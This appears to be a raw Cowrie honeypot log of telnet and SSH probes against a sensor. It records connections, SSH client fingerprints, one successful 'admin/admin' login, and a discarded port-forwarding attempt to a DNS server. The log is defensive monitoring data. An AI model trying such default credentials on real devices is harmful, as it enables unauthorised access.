{"eventid":"cowrie.session.closed","duration":12.80108094215393,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:14.293731Z","src_ip":"49.145.131.43","session":"c9aac2ecf718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53690,"dst_ip":"10.17.0.5","dst_port":23,"session":"05ab58e8349f","protocol":"telnet","message":"New connection: 45.58.127.90:53690 (10.17.0.5:23) [session: 05ab58e8349f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:19.849675Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49450,"dst_ip":"159.203.135.109","dst_port":23,"session":"397aeaf58a7c","protocol":"telnet","message":"New connection: 147.182.143.59:49450 (159.203.135.109:23) [session: 397aeaf58a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:21.786148Z"}
{"eventid":"cowrie.session.closed","duration":8.281032800674438,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:30.067019Z","src_ip":"147.182.143.59","session":"397aeaf58a7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":38026,"dst_ip":"159.203.135.109","dst_port":23,"session":"189777651c30","protocol":"telnet","message":"New connection: 147.182.143.59:38026 (159.203.135.109:23) [session: 189777651c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:31.953274Z"}
{"eventid":"cowrie.session.closed","duration":37.994869232177734,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:34.005674Z","src_ip":"45.58.127.90","session":"349585b9d5a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.78123378753662,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:37.230102Z","src_ip":"45.58.127.90","session":"610ea4e314ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.25655245780945,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:51.235744Z","src_ip":"45.58.127.90","session":"91e8306028ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.564472913742065,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:54.414034Z","src_ip":"45.58.127.90","session":"05ab58e8349f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":45414,"dst_ip":"159.203.135.109","dst_port":23,"session":"0563245b5376","protocol":"telnet","message":"New connection: 147.182.143.59:45414 (159.203.135.109:23) [session: 0563245b5376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:55.488016Z"}
{"eventid":"cowrie.session.closed","duration":12.037752151489258,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:24:07.525630Z","src_ip":"147.182.143.59","session":"0563245b5376","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58958,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca1178f5cb0f","protocol":"telnet","message":"New connection: 45.58.127.90:58958 (10.17.0.5:23) [session: ca1178f5cb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:24:28.789105Z"}
{"eventid":"cowrie.session.closed","duration":67.07659029960632,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:24:39.029715Z","src_ip":"147.182.143.59","session":"189777651c30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36866,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d3590d74914","protocol":"telnet","message":"New connection: 45.58.127.90:36866 (10.17.0.5:23) [session: 0d3590d74914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:24:41.781943Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42296,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3e0e7bc2717","protocol":"telnet","message":"New connection: 45.58.127.90:42296 (10.17.0.5:23) [session: d3e0e7bc2717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:24:57.003418Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55488,"dst_ip":"10.17.0.5","dst_port":23,"session":"c84e4c366515","protocol":"telnet","message":"New connection: 45.58.127.90:55488 (10.17.0.5:23) [session: c84e4c366515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:01.483202Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:08.545533Z","src_ip":"47.239.15.75","session":"dde8537fe33c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35658,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d46ef75f55c","protocol":"telnet","message":"New connection: 45.58.127.90:35658 (10.17.0.5:23) [session: 5d46ef75f55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:12.213278Z"}
{"eventid":"cowrie.session.closed","duration":43.99975371360779,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:12.788738Z","src_ip":"45.58.127.90","session":"ca1178f5cb0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35668,"dst_ip":"10.17.0.5","dst_port":23,"session":"84755c3bc415","protocol":"telnet","message":"New connection: 45.58.127.90:35668 (10.17.0.5:23) [session: 84755c3bc415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:15.441492Z"}
{"eventid":"cowrie.session.closed","duration":4.662459135055542,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:16.875594Z","src_ip":"45.58.127.90","session":"5d46ef75f55c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.02211356163025,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:24.803940Z","src_ip":"45.58.127.90","session":"0d3590d74914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.163.1.17","src_port":47442,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ad548672f7","protocol":"ssh","message":"New connection: 20.163.1.17:47442 (10.17.0.5:22) [session: 00ad548672f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:34.340905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:34.346245Z","src_ip":"20.163.1.17","session":"00ad548672f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:34.418498Z","src_ip":"20.163.1.17","session":"00ad548672f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.163.1.17","src_port":47444,"dst_ip":"10.17.0.5","dst_port":22,"session":"472ba2bd46eb","protocol":"ssh","message":"New connection: 20.163.1.17:47444 (10.17.0.5:22) [session: 472ba2bd46eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:34.563973Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:34.573905Z","src_ip":"20.163.1.17","session":"472ba2bd46eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:34.585564Z","src_ip":"20.163.1.17","session":"472ba2bd46eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.824256896972656,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:40.307330Z","src_ip":"45.58.127.90","session":"c84e4c366515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.84326934814453,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:41.846559Z","src_ip":"45.58.127.90","session":"d3e0e7bc2717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":54154,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d556a795376","protocol":"telnet","message":"New connection: 147.182.143.59:54154 (159.203.135.109:23) [session: 5d556a795376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:43.789819Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:44.344678Z","src_ip":"20.163.1.17","session":"00ad548672f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.33357286453247,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:52.774956Z","src_ip":"45.58.127.90","session":"84755c3bc415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.292680025100708,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:53.082396Z","src_ip":"147.182.143.59","session":"5d556a795376","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":38104,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c1be35d31a2","protocol":"telnet","message":"New connection: 213.63.236.79:38104 (159.203.135.109:23) [session: 7c1be35d31a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:53.561488Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":38500,"dst_ip":"159.203.135.109","dst_port":23,"session":"663fe103e69c","protocol":"telnet","message":"New connection: 213.63.236.79:38500 (159.203.135.109:23) [session: 663fe103e69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:54.926780Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":39010,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2d5ad246c96","protocol":"telnet","message":"New connection: 213.63.236.79:39010 (159.203.135.109:23) [session: a2d5ad246c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:56.700234Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45792,"dst_ip":"10.17.0.5","dst_port":23,"session":"31f1bf0dfcf3","protocol":"telnet","message":"New connection: 45.58.127.90:45792 (10.17.0.5:23) [session: 31f1bf0dfcf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:25:59.637131Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45806,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c02c72dee31","protocol":"telnet","message":"New connection: 45.58.127.90:45806 (10.17.0.5:23) [session: 4c02c72dee31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:03.125406Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45816,"dst_ip":"10.17.0.5","dst_port":23,"session":"21adbfc6f055","protocol":"telnet","message":"New connection: 45.58.127.90:45816 (10.17.0.5:23) [session: 21adbfc6f055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:05.687131Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":33056,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f82bcdbb2b8","protocol":"telnet","message":"New connection: 147.182.143.59:33056 (159.203.135.109:23) [session: 9f82bcdbb2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:08.425360Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45818,"dst_ip":"10.17.0.5","dst_port":23,"session":"1777e324d660","protocol":"telnet","message":"New connection: 45.58.127.90:45818 (10.17.0.5:23) [session: 1777e324d660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:09.843612Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":44220,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dbf97ebedd3","protocol":"telnet","message":"New connection: 213.63.236.79:44220 (159.203.135.109:23) [session: 2dbf97ebedd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:21.445966Z"}
{"eventid":"cowrie.session.closed","duration":14.198632001876831,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:22.623872Z","src_ip":"147.182.143.59","session":"9f82bcdbb2b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.526607036590576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:25.453238Z","src_ip":"213.63.236.79","session":"663fe103e69c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.766063928604126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:26.327424Z","src_ip":"213.63.236.79","session":"7c1be35d31a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35912,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5726cde605","protocol":"ssh","message":"New connection: 87.251.64.176:35912 (10.17.0.5:22) [session: 6c5726cde605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:28.139916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:28.144000Z","src_ip":"87.251.64.176","session":"6c5726cde605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:28.243692Z","src_ip":"87.251.64.176","session":"6c5726cde605","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:28.532140Z","src_ip":"87.251.64.176","session":"6c5726cde605","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:28.632203Z","session":"6c5726cde605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.96568250656128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:28.665789Z","src_ip":"213.63.236.79","session":"a2d5ad246c96","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:28.729675Z","src_ip":"87.251.64.176","session":"6c5726cde605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:28.965992Z","src_ip":"87.251.64.176","session":"6c5726cde605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.48294377326965,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:38.119940Z","src_ip":"45.58.127.90","session":"31f1bf0dfcf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50936,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eec8d5ee516","protocol":"telnet","message":"New connection: 147.182.143.59:50936 (159.203.135.109:23) [session: 2eec8d5ee516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:39.426386Z"}
{"eventid":"cowrie.session.closed","duration":34.039499044418335,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:39.726522Z","src_ip":"45.58.127.90","session":"21adbfc6f055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":48146,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ab271cf331f","protocol":"telnet","message":"New connection: 213.63.236.79:48146 (159.203.135.109:23) [session: 2ab271cf331f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:41.374242Z"}
{"eventid":"cowrie.session.closed","duration":33.667985916137695,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:43.511478Z","src_ip":"45.58.127.90","session":"1777e324d660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.984678506851196,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:46.109953Z","src_ip":"45.58.127.90","session":"4c02c72dee31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.248392105102539,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:50.674642Z","src_ip":"147.182.143.59","session":"2eec8d5ee516","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.626705408096313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:52.072679Z","src_ip":"213.63.236.79","session":"2dbf97ebedd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42296,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f84c6ab5a87","protocol":"telnet","message":"New connection: 147.182.143.59:42296 (159.203.135.109:23) [session: 9f84c6ab5a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:26:58.953017Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":54396,"dst_ip":"159.203.135.109","dst_port":22,"session":"65404e4df1e8","protocol":"ssh","message":"New connection: 47.239.15.75:54396 (159.203.135.109:22) [session: 65404e4df1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:05.183762Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34186,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2c5630bd2de","protocol":"telnet","message":"New connection: 45.58.127.90:34186 (10.17.0.5:23) [session: b2c5630bd2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:05.415895Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42304,"dst_ip":"159.203.135.109","dst_port":23,"session":"1615f4411b44","protocol":"telnet","message":"New connection: 147.182.143.59:42304 (159.203.135.109:23) [session: 1615f4411b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:06.967648Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":55922,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f8238ae302a","protocol":"telnet","message":"New connection: 213.63.236.79:55922 (159.203.135.109:23) [session: 9f8238ae302a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:11.531788Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":55334,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8507834e919","protocol":"telnet","message":"New connection: 213.63.236.79:55334 (159.203.135.109:23) [session: b8507834e919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:12.201364Z"}
{"eventid":"cowrie.session.closed","duration":31.065265417099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:12.439339Z","src_ip":"213.63.236.79","session":"2ab271cf331f","protocol":"telnet"}
